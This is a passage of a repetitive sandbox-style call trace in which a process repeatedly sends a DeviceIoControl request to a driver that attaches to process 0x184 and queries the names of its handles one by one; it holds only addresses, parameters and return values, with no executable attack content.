lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.713] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.713] PsAcquireProcessExitSynchronization () returned 0x0 [0131.713] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.713] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0131.713] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.713] PsReleaseProcessExitSynchronization () returned 0x2 [0131.713] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.713] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.713] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0131.713] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.713] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.713] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.713] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.713] PsAcquireProcessExitSynchronization () returned 0x0 [0131.713] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.713] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0131.713] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.713] PsReleaseProcessExitSynchronization () returned 0x2 [0131.714] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.714] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.714] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0131.714] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.714] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.714] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.714] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.714] PsAcquireProcessExitSynchronization () returned 0x0 [0131.714] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.714] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0131.714] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.714] PsReleaseProcessExitSynchronization () returned 0x2 [0131.714] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.714] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.714] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0131.714] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.714] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.714] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.714] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.714] PsAcquireProcessExitSynchronization () returned 0x0 [0131.714] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.714] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0131.714] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.714] PsReleaseProcessExitSynchronization () returned 0x2 [0131.714] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.714] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.714] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0131.714] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.714] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.714] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.714] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.714] PsAcquireProcessExitSynchronization () returned 0x0 [0131.714] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.715] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0131.715] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.715] PsReleaseProcessExitSynchronization () returned 0x2 [0131.715] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.715] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.715] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0131.715] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.715] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.715] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.715] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.715] PsAcquireProcessExitSynchronization () returned 0x0 [0131.715] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.715] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0131.715] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.715] PsReleaseProcessExitSynchronization () returned 0x2 [0131.715] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.715] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.715] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0131.715] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.715] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.715] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.715] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.715] PsAcquireProcessExitSynchronization () returned 0x0 [0131.715] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.715] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0131.715] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.715] PsReleaseProcessExitSynchronization () returned 0x2 [0131.715] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.715] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.715] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0131.715] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.715] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.715] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.716] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.716] PsAcquireProcessExitSynchronization () returned 0x0 [0131.716] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.716] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0131.716] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.716] PsReleaseProcessExitSynchronization () returned 0x2 [0131.716] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.716] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.716] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0131.716] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.716] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.716] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.716] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.716] PsAcquireProcessExitSynchronization () returned 0x0 [0131.716] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.716] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0131.716] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.716] PsReleaseProcessExitSynchronization () returned 0x2 [0131.716] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.716] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.716] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0131.716] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.716] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.716] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.716] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.716] PsAcquireProcessExitSynchronization () returned 0x0 [0131.716] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.716] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0131.716] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.716] PsReleaseProcessExitSynchronization () returned 0x2 [0131.716] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.716] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.716] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0131.717] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.717] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.717] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.717] PsAcquireProcessExitSynchronization () returned 0x0 [0131.717] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.717] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0131.717] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.717] PsReleaseProcessExitSynchronization () returned 0x2 [0131.717] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.717] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.717] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0131.717] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.717] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.717] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.717] PsAcquireProcessExitSynchronization () returned 0x0 [0131.717] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.717] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0131.717] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.717] PsReleaseProcessExitSynchronization () returned 0x2 [0131.717] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.717] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.717] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0131.717] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.717] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.717] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.717] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.717] PsAcquireProcessExitSynchronization () returned 0x0 [0131.717] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.718] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0131.718] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.718] PsReleaseProcessExitSynchronization () returned 0x2 [0131.718] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.718] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.718] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0131.718] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.718] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.718] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.718] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.718] PsAcquireProcessExitSynchronization () returned 0x0 [0131.718] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.718] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0131.718] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.718] PsReleaseProcessExitSynchronization () returned 0x2 [0131.718] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.718] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.718] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0131.718] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.718] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.718] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.718] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.718] PsAcquireProcessExitSynchronization () returned 0x0 [0131.718] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.718] ObReferenceObjectByHandle (in: Handle=0x708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003074590, HandleInformation=0x0) returned 0x0 [0131.718] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.718] PsReleaseProcessExitSynchronization () returned 0x2 [0131.718] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.718] ObQueryNameString (in: Object=0xfffff8a003074590, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.718] ObfDereferenceObject (Object=0xfffff8a003074590) returned 0x1 [0131.718] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.718] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.718] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.719] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.719] PsAcquireProcessExitSynchronization () returned 0x0 [0131.719] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.719] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0131.719] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.719] PsReleaseProcessExitSynchronization () returned 0x2 [0131.719] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.719] ObQueryNameString (in: 